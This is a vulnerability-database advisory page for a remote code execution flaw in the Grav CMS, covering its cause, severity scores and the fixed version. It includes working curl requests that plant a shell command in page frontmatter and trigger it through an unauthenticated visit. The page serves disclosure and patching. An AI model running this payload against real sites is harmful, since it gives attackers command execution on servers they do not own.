Skip to main content

CVE-2026-64850 — Vulnerability in getgrav/grav — CVE Details

HIGH

Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData()

Published September 2, 2026Updated September 2, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.47%). Schedule for your next planned update.

Does your project use an affected getgrav/grav version?

Paste your composer.lock to check it for CVE-2026-64850 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my composer.lock

Summary

Summary

An account with the admin.pages permission (or api.pages.write) can run shell commands on the server. The command executes whenever anyone — including an unauthenticated visitor — opens the page.

Details

Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php:426) passes a Class::method string and its arguments straight to call_user_func_array() with no allowlist. The form plugin runs page frontmatter through this path (form/classes/Form.php:432), so a page author controls the input. Grav\Common\Utils::arrayFilterRecursive($source,$fn) (system/src/Grav/Common/Utils.php:1169) is a public static that calls $fn($key,$value), so passing system as $fn and a command as the array key runs the command.

PoC

Placeholders: <BASE_URL> the site; <SESSION_COOKIE> an admin session cookie for an account with admin.pages; <ADMIN_NONCE> the admin-nonce on any admin page (window.GravAdmin.config.admin_nonce).

Save a "form" page whose field carries the callable directive:

curl '<BASE_URL>/admin/pages/rcepoc' \
  -H 'Cookie: <SESSION_COOKIE>' \
  --data-urlencode 'task=save' \
  --data-urlencode 'admin-nonce=<ADMIN_NONCE>' \
  --data-urlencode 'data[folder]=rcepoc' \
  --data-urlencode 'data[name]=form' \
  --data-urlencode 'data[title]=x' \
  --data-urlencode 'data[content]=hi' \
  --data-urlencode "data[frontmatter]=forms:
  x:
    fields:
      y:
        type: text
        data-opts@:
          - 'Grav\Common\Utils::arrayFilterRecursive'
          - { 'echo GRAV-RCE-OK; id': 'x' }
          - system"

Trigger it as an unauthenticated visitor:

curl '<BASE_URL>/rcepoc'

Success check: the GET response body begins with GRAV-RCE-OK followed by the web-server user's id output (a line starting uid=...) — the command ran during the unauthenticated request and its output is reflected in the response.

Impact

Shell command execution as the web-server user, triggered by any visit to the page, plantable by any holder of admin.pages or api.pages.write.

Trust boundary: crossed. admin.pages (or api.pages.write) grants page editing, not code execution; the holder plants the payload and the code runs at request time on any later view of the page.

Advisory Timeline

  • First published September 2, 2026 (85 days ago).
  • Last revised September 2, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Composer
Update getgrav/grav to 2.0.7 or later
composer require "getgrav/grav:^2.0.7"

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: Packagist (1).

PackageFixed In
getgrav/grav Packagist · Affected: 0.8.0, 0.9.0, 0.9.1, 0.9.10 (+337 more)2.0.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Frequently Asked Questions

What is CVE-2026-64850?
Grav: Remote code execution via unrestricted callable in Blueprint::dynamicData(). This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-64850?
CVE-2026-64850 affects getgrav/grav. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-64850 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.47%
EPSS percentile: 32.6

This is a below-median EPSS score — only 32.6% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-fj2p-qj2f-74v5
CVE-2026-65008

Related CVEs

  • CVE-2025-66844
    CRITICAL

    Grav may be vulnerable to SSRF attack via Twig Templates

  • CVE-2025-66294
    HIGH

    Grav is vulnerable to RCE via SSTI through Twig Sandbox Bypass

  • CVE-2026-42844
    HIGH

    Low-privileged Grav API users can create super-admin accounts via blueprint-upload

  • CVE-2026-69088
    HIGH

    Grav: Incomplete callable validation in blueprint dynamic fields allows arbitrary static method invocation and file disclosure

  • CVE-2025-66297
    HIGH

    Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection

  • CVE-2026-42612
    HIGH

    Grav Vulnerable to Publisher-Level Stored XSS via Unquoted Event Attributes

  • CVE-2026-65608
    HIGH

    Grav: FlexDirectory::dynamicDataField() executes arbitrary callables from blueprint data with no validation

  • CVE-2025-66296
    HIGH

    Grav vulnerable to Privilege Escalation in Grav Admin: Missing Username Uniqueness Check Allows Admin Account Takeover

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my composer.lock